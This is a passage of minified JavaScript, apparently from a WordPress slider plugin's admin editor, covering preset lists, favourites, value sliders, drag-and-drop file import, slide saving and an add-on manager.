class="cla_custom_name">'+e.groups[o].elements[r].title+'</span><div class="cla_message">'+RVS_LANG.overwritetemplate+'</div><input data-evt="'+e.customevt+'" type="text" value="'+e.groups[o].elements[r].title+'" class="cla_entername"><div class="custom_layer_animation_toolbar"><i data-evt="'+e.customevt+'" class="cla_answer_yes material-icons">done</i><i data-evt="'+e.customevt+'" class="cla_answer_no material-icons">close</i><i data-evt="'+e.customevt+'" class="edit_custom_layeranimation material-icons">edit</i><i data-evt="'+e.customevt+'" class="save_custom_layeranimation material-icons">save</i><i data-evt="'+e.customevt+'" class="delete_custom_layeranimation material-icons">delete</i></div></div>':'<div id="'+e.groupid+"_"+o+"_"+r+'" data-key="'+a+r+'" data-grpid="'+e.groupid+'" data-main="'+e.groups[o].elements[r].main+'" data-grp="'+o+("undefined"!==e.groups[o].elements[r].rndgrp?'" data-rndgrp="'+e.groups[o].elements[r].rndgrp+'"':"")+("undefined"!==e.groups[o].elements[r].rndmain?'" data-rndmain="'+e.groups[o].elements[r].rndmain+'"':"")+' class="'+a+'presetelement presets_listelement dark_btn">'+RVS.F.getPresetIcon(e.groups[o].elements[r].title)+(void 0!==e.favoriteAjax?'<i data-key="'+a+r+'" class="material-icons preset_favorite">'+(RVS.F.isOnList(e.favoriteList,a+r)?"star":"star_outline")+"</i>":"")+"</div>");i+="\t</div>",i+="</div>"}return i+="\t</div>",void 0===RVS.S.allPresets[e.maingrpclass].clickListener&&(RVS.S.allPresets[e.maingrpclass].clickListener=!0,RVS.DOC.on("click","."+e.maingrpclass+" .presets_listelement",function(){if("custom"===this.dataset.key){var t=jQuery(this);return this.dataset.mode="create",t.addClass("cla_showentername"),t.find("input").trigger("focus").trigger("select"),RVS.S.waitOnFeedback={allowed:["cla_entername","cla_answer_yes","cla_answer_no"],closeEvent:"hideCustomLayerNameEntering"},RVS.F.addBodyClickListener(),!1}this.className.indexOf("cla_showentername")>=0||e.onclick(this.dataset.key,this.dataset.custom,this.dataset.main,this.dataset.sub,this.dataset.rndgrp,this.dataset.rndmain)})),e.favoriteAjax&&void 0===RVS.S.allPresets[e.maingrpclass].favListener&&(RVS.S.allPresets[e.maingrpclass].favListener=!0,RVS.DOC.on("mouseenter","."+e.maingrpclass+" .presets_listelement",function(){this.offsetLeft<140?(this.classList.add("favleft"),this.classList.remove("favright")):(this.classList.add("favright"),this.classList.remove("favleft"))}),RVS.DOC.on("click","."+e.maingrpclass+" .preset_favorite",function(){var t=RVS.F.isOnList(e.favoriteList,this.dataset.key);if(this.innerHTML=t?"star_outline":"star",t){if(Array.isArray(e.favoriteList)){var i=jQuery.inArray(this.dataset.key,e.favoriteList);e.favoriteList.splice(i,1)}else{for(var a in e.favoriteList)e.favoriteList[a]==this.dataset.key&&(i=a);void 0!==i&&delete e.favoriteList[i]}RVS.F.showHidePresetFavorits(e.favoriteList,e.maingrpclass)}else Array.isArray(e.favoriteList)?e.favoriteList.push(this.dataset.key):e.favoriteList[this.dataset.key]=this.dataset.key;return RVS.F.ajaxRequest("set_favorite",{do:t?"remove":"add",type:e.favoriteAjax,id:this.dataset.key},function(e){e.success}),!1})),S||(RVS.DOC.on("click",".presets_liste_head",function(){var e=this.parentElement.className.indexOf("open")>=0,t=document.getElementById(this.dataset.igroup);void 0!==this.dataset.samegroups&&""!==this.dataset.samegroups&&jQuery("."+this.dataset.samegroups).removeClass("open"),void 0!==this.dataset.samemaingroups&&""!==this.dataset.samemaingroups&&jQuery("."+this.dataset.samemaingroups).removeClass("open"),e?(this.parentElement.classList.remove("open"),t.classList.remove("open")):(this.parentElement.classList.add("open"),t.classList.add("open"))}),RVS.DOC.on("click",".presetssgroup_head",function(){var e=this.parentElement.className.indexOf("open")>=0;jQuery(this).closest(".presets_liste").find(".presetssgroup.open").removeClass("open"),e?this.parentElement.classList.remove("open"):this.parentElement.className+=" open"}),S=!0),e.modern?{inner:i,main:t+"</div>"}:t+i+"</div>"},RVS.F.createMetaGroups=function(e){var t=0!==jQuery("#"+e.id).length,i=t?jQuery("#"+e.id):jQuery('<div id="'+e.id+'" class="mdl_group"></div>');for(var a in e.title=void 0===RVS_LANG[e.id]?e.id:RVS_LANG[e.id],t||i.append('<div class="mdl_group_header"><i class="material-icons">'+e.icon+"</i>"+e.title+'<i class="material-icons accordiondrop">arrow_drop_down</i></div>'),e.actions)if(e.actions.hasOwnProperty(a)){var o=e.actions[a],r=void 0!==o.title?o.title:void 0===RVS_LANG["metadata_"+o.val]?o.val:RVS_LANG["metadata_"+o.val];o.inputs=void 0===o.inputs?"":o.inputs,o.inputs=!0===o.layerTarget?"#la_settings_layertarget"+(o.inputs.length>0?", "+o.inputs:""):o.inputs,i.append('<div data-val="'+o.val+'" id="metadata_picker_'+o.val+'" data-inputs="'+o.inputs+'" class="mdl_group_member" data-val="'+o.val+'"><i class="material-icons">'+e.icon+"</i>"+r+"</div>"),o.layerTarget&&RVS.LIB.ACTION_WITH_TRGT.push(o.val),RVS.LIB.ACTIONTYPES[o.val]={inputs:o.inputs,name:r,icon:e.icon,layerTarget:o.layerTarget,media:o.media}}t||jQuery("#layeraction_list").append(i)},RVS.F.buildValueSliders=function(){var e=document.getElementsByClassName("withvalslider");for(var t in e)e.hasOwnProperty(t)&&RVS.F.buildValueSlider(e[t])},RVS.DOC.on("mouseenter",".withvalslider",function(){null==this.dataset.valslideradded&&(RVS.F.buildValueSlider(this),this.dataset.valslideradded=!0),_=RVS.S.valSliders[this.dataset.inpid],_.done.style.width=(parseFloat(_.inp.value)-_.min)/_.range*_.width+"px",_.pin.style.left=_.done.style.width}),RVS.F.buildValueSlider=function(e){var t=e.getElementsByTagName("INPUT")[0];void 0===t.id&&(t.id="rs_valslider_"+Math.round(1e5*Math.random())),RVS.S.valSliders=void 0===RVS.S.valSliders?{}:RVS.S.valSliders,RVS.S.valSliders[t.id]={inp:t,con:RVS.F.cF(),wrap:RVS.F.cE({cN:"rs_vswrap"}),done:RVS.F.cE({cN:"rs_vsdone"}),rail:RVS.F.cE({cN:"rs_vsrail"}),pin:RVS.F.cE({cN:"rs_vspin"}),field:e};var i=RVS.S.valSliders[t.id];i.jpin=jQuery(i.pin),i.jinp=jQuery(t),e.dataset.inpid=t.id,i.con.appendChild(i.wrap),i.wrap.appendChild(i.rail),i.wrap.appendChild(i.done),i.wrap.appendChild(i.pin),e.appendChild(i.con),i.max=t.dataset.max||100,i.min=t.dataset.min||0,i.range=i.max-i.min,i.dez=t.dataset.dez||0,i.width=i.wrap.offsetWidth-9,i.jpin.draggable({axis:"x",containment:"parent",start:function(e,t){i.width=i.wrap.offsetWidth-9,i.lastprefix=(i.inp.value+"").indexOf("px")>=0?"px":(i.inp.value+"").indexOf("%")>=0?"%":(i.inp.value+"").indexOf("deg")>=0?"deg":"",i.wrap.classList.add("indrag")},stop:function(e,t){i.wrap.classList.remove("indrag")},drag:function(e,t){i.done.style.width=t.position.left+"px";var a=parseFloat(i.min)+i.range*(t.position.left/i.width);a=0==i.dez?Math.round(a):1==dez?10*Math.round(a/10):2==dez?100*Math.round(a/100):3==dez?1e3*Math.round(a/1e3):(dez,1e4*Math.round(a/1e4)),i.inp.value=a+i.lastprefix,i.jinp.trigger("change")}})},RVS.F.setUnsetSelected=function(e){void 0!==e.unselect&&RVS.F.setUnsetHelp(e.unselect.split(","),"remove","selected"),void 0!==e.select&&(null!=e.prval&&RVS.selLayers.length>0&&void 0!==RVS.L[RVS.selLayers[0]]&&(void 0===e.prvalif||RVS.L[RVS.selLayers[0]].type===e.prvalif)?e.val=RVS.F.getDeepVal({path:e.prval.split("#parentlayer#").join(RVS.L[RVS.selLayers[0]].group.puid)})||"":e.val=void 0!==e.val?e.val.split("\\").join("-").split(" ").join("-"):"",RVS.F.setUnsetHelp(e.select.split("*val*").join(e.val).split("*RVAL*").join(void 0!==e.rval?RVS.F.getDeepVal({path:e.rval}):"").split(","),"add","selected"))},RVS.F.setUnsetClass=function(e){void 0!==e.class&&void 0!==e.container&&null!==e.container&&(void 0!==e.rval&&e.rval===e.val||e.val?(e.container.classList.add(e.class),e.inversclass&&e.container.classList.remove(e.inversclass)):(e.container.classList.remove(e.class),e.inversclass&&e.container.classList.add(e.inversclass)))},RVS.F.setEnableDisable=function(e){if(void 0!==e.switch){var t="remove",i="add";void 0!==e.enable&&!1===e.val&&(t="add"),void 0!==e.disable&&!1===e.val&&(i="remove"),void 0!==e.enable&&RVS.F.setUnsetHelp(e.enable.split("*val*").join(e.val).split(","),t,"disablecontainer"),void 0!==e.disable&&RVS.F.setUnsetHelp(e.disable.split("*val*").join(e.val).split(","),i,"disablecontainer")}else void 0!==e.enable&&RVS.F.setUnsetHelp(e.enable.split("*val*").join(e.val).split(","),"remove","disablecontainer"),void 0!==e.disable&&RVS.F.setUnsetHelp(e.disable.split("*val*").join(e.val).split(","),"add","disablecontainer")},RVS.F.setUnAvailable=function(e){void 0!==e.available&&RVS.F.setUnsetHelp(e.available.split("*val*").join(e.val).split(","),"remove","unavailablecontainer"),void 0!==e.unavailable&&RVS.F.setUnsetHelp(e.unavailable.split("*val*").join(e.val).split(","),"add","unavailablecontainer")},RVS.F.initPreDrops=function(e){void 0===e&&jQuery(".predrop_wrap").each(function(){var e=jQuery(this);if(!e.hasClass("inited")){e.append('<div class="predrop"><ul class="predrop_ul"></ul></div>');e.data(),e.find(".predrop_ul")}})},RVS.F.fullPageInfo={init:function(e){var t=jQuery('<div id="fullpageinfo"><div id="fullpageinfo_zone">'+e.content+'<div id="fullpage_close"><i class="material-icons">close</i></div></div></div>');jQuery("#wpwrap").addClass("blurred"),jQuery(document.body).append(t),tpGS.gsap.fromTo(t,.4,{autoAlpha:0,scale:.9},{autoAlpha:1,scale:1,ease:"power3.inOut"})},close:function(){jQuery("#fullpageinfo").remove(),jQuery("#wpwrap").removeClass("blurred")}},RVS.F.browserDroppable={init:function(e){e.textblock='<div id="filedrop" class="'+(1==e.onlydrop?"editordrop _TPRB_":"_TPRB_")+'">',e.textblock+='\t<form id="filedrop_zone">',e.textblock+='\t\t<div class="filedrop_state_idle">',e.textblock+='\t\t\t<input class="uploadfileinput" type="file" name="files[]" id="file" data-multiple-caption="{count} files selected" multiple />',e.textblock+='\t\t\t<i class="big_filedrop_icon material-icons">file_download</i>',e.textblock+='\t\t\t<div class="filedrop_line_1">'+RVS_LANG.dragAndDropFile+"</div>",!0!==e.onlydrop&&(e.textblock+='\t\t\t<div class="filedrop_line_2">'+RVS_LANG.or+"</div>"),!0!==e.onlydrop&&(e.textblock+='\t\t\t<label for="file"  class="filedrop_clickbtn">'+RVS_LANG.clickToChoose+"</label>"),e.textblock+="\t\t</div>",e.textblock+='\t\t<div class="filedrop_state_drop">',e.textblock+='\t\t\t<i class="big_filedrop_icon material-icons">file_download</i>',!0!==e.onlydrop?e.textblock+='\t\t\t<div class="filedrop_line_1">'+RVS_LANG.releaseToUpload+"</div>":e.textblock+='\t\t\t<div class="filedrop_line_1">'+RVS_LANG.releaseToAddLayer+"</div>",!0!==e.onlydrop&&(e.textblock+='\t\t\t<div class="filedrop_line_2">'+RVS_LANG.moduleZipFile+"</div>"),e.textblock+="\t\t</div>",e.textblock+='\t\t<div class="filedrop_state_process">',e.textblock+='\t\t\t<i id="file_upload_processicon" class="rotating big_filedrop_icon material-icons">autorenew</i>',e.textblock+='\t\t\t<div id="file_upload_mininfo" class="filedrop_line_1">'+RVS_LANG.importing+"</div>",e.textblock+=' \t\t\t<div id="importing_processing_files">',e.textblock+="\t\t\t</div>",e.textblock+="\t\t</div>",e.textblock+='\t\t<div id="filedrop_close"><i class="material-icons">close</i></div>',e.textblock+="\t</form>",e.textblock+="</div>",RVS.fileDrop=jQuery(e.textblock),RVS.fileDropForm=RVS.fileDrop.find("#filedrop_zone"),tpGS.gsap.fromTo(RVS.fileDrop,.3,{autoAlpha:0,scale:.9},{zIndex:5e6,autoAlpha:1,scale:1,ease:"power3.inOut"}),jQuery(document.body).append(RVS.fileDrop),void 0===RVS.fileDropListener&&(jQuery("html").on("dragover drop dragleave dragend",function(e){clearTimeout(window.htmldragout),"drop"===e.type?(jQuery("#filedrop").remove(),jQuery("#wpwrap").removeClass("blurred")):"dragleave"===e.type&&(window.htmldragout=setTimeout(function(){0==RVS.S.overFileDropZone&&(tpGS.gsap.to(RVS.fileDrop,.3,{autoAlpha:0,scale:.9,ease:"power3.inOut"}),jQuery("#wpwrap").removeClass("blurred"))},50)),e.preventDefault(),e.stopPropagation()}).on("dragenter",function(){RVS.S.overFileDropZone=!1,!0!==e.onlydrop&&jQuery("#wpwrap").addClass("blurred"),!0===e.onlydrop&&(tpGS.gsap.set(RVS.fileDropForm,{width:RVS.S.editorSize.w-50,height:RVS.S.editorSize.h-50,top:90,left:41,xPercent:0,yPercent:0}),tpGS.gsap.set(RVS.fileDrop,{background:"transparent"})),tpGS.gsap.to(RVS.fileDrop,.3,{autoAlpha:1,scale:1,ease:"power3.inOut"})}),RVS.fileDropForm.on("drag dragstart dragend dragover dragenter dragleave drop",function(e){e.preventDefault(),e.stopPropagation()}).on("dragover dragenter",function(e){RVS.S.overFileDropZone=!0,RVS.fileDropForm[0].className="is-dragover"}).on("dragleave dragend",function(){RVS.S.overFileDropZone=!1,RVS.fileDropForm[0].className=""}).on("drop",function(t){for(var i in RVS.fileDropForm[0].className="is-processing",jQuery("#importing_processing_files").html(""),t.originalEvent.dataTransfer.files)if(t.originalEvent.dataTransfer.files.hasOwnProperty(i)&&"object"==typeof t.originalEvent.dataTransfer.files[i]){var a=t.originalEvent.dataTransfer.files[i].name+" ("+Math.round(t.originalEvent.dataTransfer.files[i].size/1024)+"kb)";jQuery("#importing_processing_files").append('<div id="fileprocessing_'+i+'" class="filedrop_line_2">'+a+'<i class="material-icons fileupload_status"></i><span class="fileupload_message"></span></div>')}"custom"===e.type?e.callBack({files:t.originalEvent.dataTransfer.files,fileindex:0,report:"#fileprocessing_",success:e.success}):RVS.F.uploadFiles({form:RVS.fileDropForm,files:t.originalEvent.dataTransfer.files,fileindex:0,report:"#fileprocessing_",success:e.success,action:e.action})}),jQuery("#file").on("change",function(t){for(var i in RVS.fileDropForm[0].className="is-processing",t.target.files)if(t.target.files.hasOwnProperty(i)&&"object"==typeof t.target.files[i]){var a=t.target.files[i].name+" ("+Math.round(t.target.files[i].size/1024)+"kb)";jQuery("#importing_processing_files").append('<div id="fileprocessing_'+i+'" class="filedrop_line_2">'+a+'<i class="material-icons fileupload_status"></i><span class="fileupload_message"></span></div>')}"custom"===e.type?e.callBack({files:t.target.files,fileindex:0,report:"#fileprocessing_",success:e.success}):RVS.F.uploadFiles({form:RVS.fileDropForm,files:t.target.files,fileindex:0,report:"#fileprocessing_",success:e.success,action:e.action})}))},close:function(){jQuery("#filedrop").remove(),jQuery("#wpwrap").removeClass("blurred")}},RVS.F.uploadFiles=function(e){e.fileindex=void 0===e.fileindex?0:e.fileindex,jQuery(e.report+e.fileindex).find(".fileupload_status").html("autorenew").addClass("rotating");var t=new FormData;t.append("import_file",e.files[e.fileindex]),t.append("action",RVS.ENV.plugin_dir+"_ajax_action"),t.append("client_action",void 0===e.action?"import_slider":e.action),t.append("nonce",RVS.ENV.nonce),void 0!==e.customs&&t.append("customs",JSON.stringify(e.customs)),jQuery.ajax({url:ajaxurl,type:"post",contentType:!1,processData:!1,data:t,success:function(t){(t=JSON.parse(t)).success?(jQuery(e.report+e.fileindex).find(".fileupload_status").html("done").removeClass("rotating").addClass("doneupload"),void 0!==e.success&&RVS.DOC.trigger(e.success,t)):(e.anyError=!0,jQuery(e.report+e.fileindex).find(".fileupload_status").html("priority_high").removeClass("rotating").addClass("errorupload"),jQuery(e.report+e.fileindex).find(".fileupload_message").html(t.message)),e.fileindex++,e.files.length>e.fileindex?RVS.F.uploadFiles(e):!0!==e.anyError?(jQuery("#file_upload_mininfo").html(RVS_LANG.successImportFile),jQuery("#file_upload_processicon").removeClass("rotating").addClass("done").html("done"),void 0!==e.successFinal&&RVS.DOC.trigger(e.successFinal,t),setTimeout(function(){RVS.F.browserDroppable.close()},500)):(jQuery("#file_upload_mininfo").html(RVS_LANG.importReport),jQuery("#file_upload_processicon").removeClass("rotating").addClass("error").html("error"))},error:function(t){e.anyError=!0,jQuery(e.report+e.fileindex).find(".fileupload_status").html("priority_high").removeClass("rotating").addClass("errorupload"),jQuery(e.report+e.fileindex).find(".fileupload_message").html(t.message),e.fileindex++,e.files.length>e.fileindex?RVS.F.uploadFiles(e):!0!==e.anyError?(jQuery("#file_upload_mininfo").html(RVS_LANG.successImportFile),jQuery("#file_upload_processicon").removeClass("rotating").addClass("done").html("done"),setTimeout(function(){RVS.F.browserDroppable.close()},500)):(jQuery("#file_upload_mininfo").html(RVS_LANG.importReport),jQuery("#file_upload_processicon").removeClass("rotating").addClass("error").html("error"))}})},RVS.F.slideinWork=function(e){RVS.SLIDER.inWork=void 0===RVS.SLIDER.inWork?[]:RVS.SLIDER.inWork,-1===jQuery.inArray(e,RVS.SLIDER.inWork)&&-1===jQuery.inArray(""+e,RVS.SLIDER.inWork)&&RVS.SLIDER.inWork.push(""+e)},RVS.F.convertIDStoTxt=function(){for(var e in RVS.SLIDER.slideIDs)RVS.SLIDER.slideIDs.hasOwnProperty(e)&&(RVS.SLIDER.slideIDs[e]=""+RVS.SLIDER.slideIDs[e]);for(var e in RVS.SLIDER.inWork)RVS.SLIDER.inWork.hasOwnProperty(e)&&(RVS.SLIDER.inWork[e]=""+RVS.SLIDER.inWork[e])},RVS.F.saveSlides=function(e){if(e.index<e.slides.length){e.order=void 0===e.order?0:e.order,e.order++;var t=e.slides[e.index],i=jQuery.inArray(t+"",RVS.SLIDER.inWork);if((i=-1===i?jQuery.inArray(t,RVS.SLIDER.inWork):i)>=0){var a=JSON.stringify(RVS.F.simplifySlide(RVS.SLIDER[e.slides[e.index]].slide)),o=JSON.stringify(RVS.F.simplifyAllLayer(RVS.SLIDER[e.slides[e.index]].layers));if(!0===e.force||void 0===RVS.S.lastSaved||void 0===RVS.S.lastSaved[t]||a!==RVS.S.lastSaved[t].params||o!==RVS.S.lastSaved[t].layers){var r={slider_id:RVS.ENV.sliderID,slide_id:e.slides[e.index],params:a,layers:o,slide_order:e.order};RVS.DOC.trigger("rs_save_slide_params",[r]),RVS.F.ajaxRequest("save_slide",r,function(i){i.success&&(RVS.S.lastSaved=void 0===RVS.S.lastSaved?{}:RVS.S.lastSaved,RVS.S.lastSaved[t]={params:a,layers:o},e.index++,RVS.F.saveSlides(e))},void 0,void 0,RVS_LANG.saveslide+'<br><span style="font-size:17px; line-height:25px;">"'+RVS.SLIDER[e.slides[e.index]].slide.title+'"</span>')}else e.index++,RVS.F.saveSlides(e)}else e.index++,RVS.F.saveSlides(e)}else RVS.SLIDER.inWork=[],RVS.F.slideinWork(RVS.S.slideId),RVS.S.need_to_save=!1,void 0!==e.trigger&&e.trigger()},RVS.F.convertArrayToObjects=function(){RVS.SLIDER.settings.nav.arrows.presets=Object.assign({},RVS.SLIDER.settings.nav.arrows.presets),RVS.SLIDER.settings.nav.bullets.presets=Object.assign({},RVS.SLIDER.settings.nav.bullets.presets),RVS.SLIDER.settings.nav.thumbs.presets=Object.assign({},RVS.SLIDER.settings.nav.thumbs.presets),RVS.SLIDER.settings.nav.tabs.presets=Object.assign({},RVS.SLIDER.settings.nav.tabs.presets),void 0!==RVS.SLIDER.settings.skins&&void 0!==RVS.SLIDER.settings.skins.colors&&(RVS.SLIDER.settings.skins.colors=Object.assign({},RVS.SLIDER.settings.skins.colors))},RVS.F.saveSliderSettings=function(){var e=JSON.stringify(RVS.SLIDER.settings),t=RVS.SLIDER.slideIDs.slice(),i=-1;for(var a in t)t.hasOwnProperty(a)&&(""+t[a]).indexOf("static")>=0&&(i=a);t.splice(i,1),RVS.F.ajaxRequest("save_slider",{slider_id:RVS.ENV.sliderID,params:e,slide_ids:t},function(e){e.success&&void 0!==e.missing&&e.missing.length>0&&RVS.F.saveSlides({index:0,slides:RVS.SLIDER.slideIDs,works:e.missing}),e.success&&RVS.DOC.trigger("slidersaved")},void 0,void 0,RVS_LANG.saveslide+'<br><span style="font-size:17px; line-height:25px;">'+RVS_LANG.slidersettings+"</span>")},RVS.F.getAllSliderDatas=function(){RVS.F.convertIDStoTxt();var e={slider:JSON.stringify(RVS.SLIDER.settings),slide_order:JSON.stringify(RVS.SLIDER.slideIDs)},t=RVS.SLIDER.slideIDs.slice();for(var i in t)if(t.hasOwnProperty(i)){var a=!1,o=t[i];RVS.SLIDER.settings.general.useWPML&&void 0!==RVS.SLIDER[o]&&void 0!==RVS.SLIDER[o].slide&&void 0!==RVS.SLIDER[o].slide.child&&""!==RVS.SLIDER[o].slide.child.parentId&&void 0!==RVS.SLIDER[o].slide.child.parentId&&-1===jQuery.inArray(""+RVS.SLIDER[o].slide.child.parentId,RVS.SLIDER.slideIDs)&&(a=!0),!0!==a&&(e[t[i]]={params:JSON.stringify(RVS.F.simplifySlide(RVS.SLIDER[t[i]].slide)),layers:JSON.stringify(RVS.F.simplifyAllLayer(RVS.SLIDER[t[i]].layers))})}return e},RVS.F.addOnContainer={create:function(e){if(e.slug&&e.icon&&e.alias){var t="";!0===e.slider&&(jQuery("#gst_sl_collector").append('<div id="gst_sl_'+e.slug+'" data-select="#gst_sl_'+e.slug+'" data-unselect=".general_submodule_trigger" class="general_submodule_trigger opensettingstrigger" style="display:none" data-collapse="true" data-forms=\'["#form_module_'+e.slug+'"]\'><i class="material-icons">'+e.icon+'</i><span class="gso_title">'+e.alias+"</span></div>"),t+=L({a:"slider_general_collector",f:"#gst_sl_",b:"sliderconfig",c:"slider_settings",d:"form_module_"+e.slug,title:e.title,e:"form_slidergeneral_"+e.slug,slug:e.slug})),!0===e.layer&&(jQuery("#gst_layer_collector").append('<div id="gst_layer_'+e.slug+'" data-select="#gst_layer_'+e.slug+'" data-unselect=".layer_submodule_trigger" class="layer_submodule_trigger opensettingstrigger" style="display:none" data-collapse="true" data-forms=\'["#form_layer_'+e.slug+'"]\'><i class="material-icons">'+e.icon+'</i><span class="gso_title">'+e.alias+"</span></div>"),t+=L({a:"layer_settings_collector",f:"#gst_layer_",b:"layersconfig",c:"layer_settings",d:"form_layer_"+e.slug,title:e.title,e:"form_layerinner_"+e.slug,slug:e.slug})),!0===e.slide&&(jQuery("#slide_menu_gso_wrap").append('<div id="gst_slide_'+e.slug+'" data-select="#gst_slide_'+e.slug+'" data-unselect=".slide_submodule_trigger" class="slide_submodule_trigger opensettingstrigger" style="display:none" data-collapse="true" data-forms=\'["#form_slide_'+e.slug+'"]\'><i class="material-icons">'+e.icon+'</i><span class="gso_title">'+e.alias+"</span></div>"),t+=L({a:"slide_settings_collector",f:"#gst_slide_",b:"slideconfig",c:"slide_settings",d:"form_slide_"+e.slug,title:e.title,e:"form_slidegeneral_"+e.slug,slug:e.slug})),void 0!==RVS.C.theRightToolbar&&RVS.C.theRightToolbar.append(t)}}},RVS.F.buildSingleAddonElement=function(e,t){if(void 0===e||""===e||0===e)return"";var i='<div id="ale_'+t+'" data-ref="'+t+'" class="rs_ale">';i+='<div class="rs_alethumb"><div class="rs_alecbg" style="'+(void 0!==e.logo.color&&""!==e.logo.color&&!1!==e.installed?"background-color:"+e.logo.color:"")+'">',""===e.logo.img&&(i+='<div class="rs_alethumb_title">'+e.logo.text+"</div>"),i+="</div>",""!==e.logo.img&&(i+='<div class="rs_alethumb_img" style="background-image:url('+e.logo.img+')"></div>'),e.installed&&e.active||(e.installed?i+="":i+='<div class="rs_ale_notinstalled">'+RVS_LANG.notinstalled+"</div>",i+='<div class="rs_alethumb_notinstalledimg" style="background-image:url('+e.logo.img+')"></div>');var a=e.active&&RVS.LIB.ADDONS[t].enable?"block":"none",o=RVS_LANG.enabled;return i+=void 0!==RVS.ENV.addOns_to_update[t]&&!0!==RVS.ENV.addOns_to_update[t].updated||e.installed<e.available?'<div class="rs_ale_actionneeded" style="display:block">'+RVS_LANG.actionneeded+"</div>":'<div class="rs_ale_enabled" style="display:'+a+'">'+o+"</div>",i+="</div>",i+='<div class="rs_ale_title">'+e.title+"</div>",i+="</div>"},RVS.F.buildAddonList=function(e,t){var i="",a=0,o=!0;for(var r in RVS.LIB.ADDONS=void 0===RVS.LIB.ADDONS?{}:RVS.LIB.ADDONS,e)e.hasOwnProperty(r)&&(RVS.LIB.ADDONS[r]=void 0===RVS.LIB.ADDONS[r]?{}:RVS.LIB.ADDONS[r],RVS.LIB.ADDONS[r].enable=RVS.S.ovMode?e[r].global?RVS.LIB.ADDONS[r].enable:void 0:e[r].global?RVS.LIB.ADDONS[r].enable:void 0!==RVS.SLIDER.settings.addOns[r]&&RVS.SLIDER.settings.addOns[r].enable,RVS.LIB.ADDONS[r].enable=0!==RVS.LIB.ADDONS[r].enable&&"0"!==RVS.LIB.ADDONS[r].enable&&(1===RVS.LIB.ADDONS[r].enable||"1"===RVS.LIB.ADDONS[r].enable||(0===RVS.LIB.ADDONS[r].enable||RVS.LIB.ADDONS[r].enable)),"update"!==t&&(void 0!==RVS.LIB.ADDONS[r].sort&&null!=RVS.LIB.ADDONS[r].releaseid||(o=!1),i+=RVS.F.buildSingleAddonElement(e[r],r),delete RVS.LIB.ADDONS[r].el,RVS.LIB.ADDONS[r].el=void 0),RVS.LIB.ADDONS_LIST[r]=jQuery.extend(!0,{},e[r]),RVS.LIB.ADDONS[r].order=a,a++);"update"!==t&&(jQuery("#rbm_addonlist").append(i),RVS.F.RSDialog.center(),o?jQuery("#sel_addon_sorting").val("pop").ddTP("change"):jQuery('.ddTP.ddTP_C.ddTP-fake.ddTP_C--autowidthinmodal[data-refid="sel_addon_sorting"]').hide(),jQuery("#sel_addon_filtering").val("all").ddTP("change"),document.getElementById("searchaddons").value=""),requestAnimationFrame(RVS.F.redrawAddonList)},RVS.F.redrawAddonList=function(){null!=RVS.S.addonPrefilter&&(jQuery("#sel_addon_filtering").val(RVS.S.addonPrefilter).ddTP("change"),requestAnimationFrame(RVS.F.redrawAddonList),delete RVS.S.addonPrefilter);var e=document.getElementById("sel_addon_sorting").value,t=document.getElementById("sel_addon_filtering").value,i=[];for(n in RVS.LIB.ADDONS)i.push(RVS.LIB.ADDONS[n]),i[i.length-1].title=i[i.length-1].title.replace("(","").replace(")","");switch(e){case"popdesc":i.sort(function(e,t){return parseInt(t.sort,0)-parseInt(e.sort,0)});break;case"pop":i.sort(function(e,t){return parseInt(e.sort,0)-parseInt(t.sort,0)});break;case"datedesc":i.sort(function(e,t){return t.releaseid-e.releaseid});break;case"date":i.sort(function(e,t){return e.releaseid-t.releaseid});break;case"title":i.sort(function(e,t){return e.title.toUpperCase().localeCompare(t.title.toUpperCase())});break;case"titledesc":i.sort(function(e,t){return t.title.toUpperCase().localeCompare(e.title.toUpperCase())});break;default:i.sort(function(e,t){return e.order-t.order})}var a=jQuery("#searchaddons").val().toLowerCase();for(n in i)if(i.hasOwnProperty(n)){var o=i[n],r=a.length<3||a.length>2&&(o.title.toLowerCase().indexOf(a)>=0||o.line_1.toString().toLowerCase().indexOf(a)>=0||o.line_1.toString().toLowerCase().indexOf(a)>=0),s="all"==t||"action"==t&&void 0!==RVS.ENV.addOns_to_update[o.slug]&&!0!==RVS.ENV.addOns_to_update[o.slug].updated||o.installed<o.available||"installed"==t&&o.installed||"notinstalled"==t&&!o.installed||"activated"==t&&o.active;o.showinlist=r&&s}for(var n in i)if(i.hasOwnProperty(n)){var d=i[n].slug;RVS.LIB.ADDONS[d].el=null==RVS.LIB.ADDONS[d].el?document.getElementById("ale_"+d):RVS.LIB.ADDONS[d].el,RVS.LIB.ADDONS[d].el.style.display=i[n].showinlist?"inline-block":"none",document.getElementById("rbm_addonlist").appendChild(RVS.LIB.ADDONS[d].el)}},RVS.F.loadAddonList=function(e,t,i){RVS.LIB.ADDONS_LIST={},RVS.F.ajaxRequest("get_addon_list",{},function(a){if(a.success){if(a.addons&&Array.isArray(a.addons)&&1===a.addons.length&&!1===a.addons[0])return;RVS.F.buildAddonList(a.addons,t),e&&"update"!==t&&RVS.F.showAddonInfos(e),"update"===t&&i()}})},RVS.F.loadCSS=function(e){var t=document.createElement("link");t.setAttribute("rel","stylesheet"),t.setAttribute("type","text/css"),t.setAttribute("href",e),document.getElementsByTagName("head")[0].appendChild(t)},RVS.F.openAddonModal=function(){RVS.LIB.ADDONS_LIST||(RVS.F.loadAddonList(),RVS.DOC.on("click","#rbm_addons .rbm_close",function(){RVS.F.RSDialog.close()}),RVS.DOC.on("click",".rs_ale",function(){"false"!=RVS.ENV.activated&&0!=RVS.ENV.activated?(jQuery(".rs_ale.selected").removeClass("selected"),this.className+=" selected",RVS.F.showAddonInfos(this.dataset.ref)):RVS.F.showRegisterSliderInfo()}),RVS.DOC.on("updateAddonsOverview",function(e,t){RVS.F.redrawAddonList()}),RVS.DOC.on("keyup","#searchaddons",function(){clearTimeout(window.searchKeyUp),window.searchKeyUp=setTimeout(function(){RVS.F.redrawAddonList()},200)}),RVS.DOC.on("click",".ale_i_installaddon",function(){var e=this.dataset.slug;RVS.F.ajaxRequest("activate_addon",{addon:e},function(t){t.success&&(RVS.LIB.ADDONS_LIST[e].installed=void 0!==t.version&&!1!==t.version&&"false"!==t.version?t.version:RVS.LIB.ADDONS_LIST[e].available,jQuery("#ale_"+e+" .rs_ale_notinstalled").remove(),RVS.F.showAddonInfos(e))},void 0,void 0,RVS_LANG.addon+'<br><span style="font-size:17px; line-height:25px;">"'+RVS_LANG.installingaddon+'"</span>')}),RVS.DOC.on("click",".ale_i_activateaddon",function(){if("true"===RVS.ENV.activated||!0===RVS.ENV.activated){var e=this.dataset.slug,t=e.replace(/-/g,"_"),i=jQuery("#ale_"+e+" 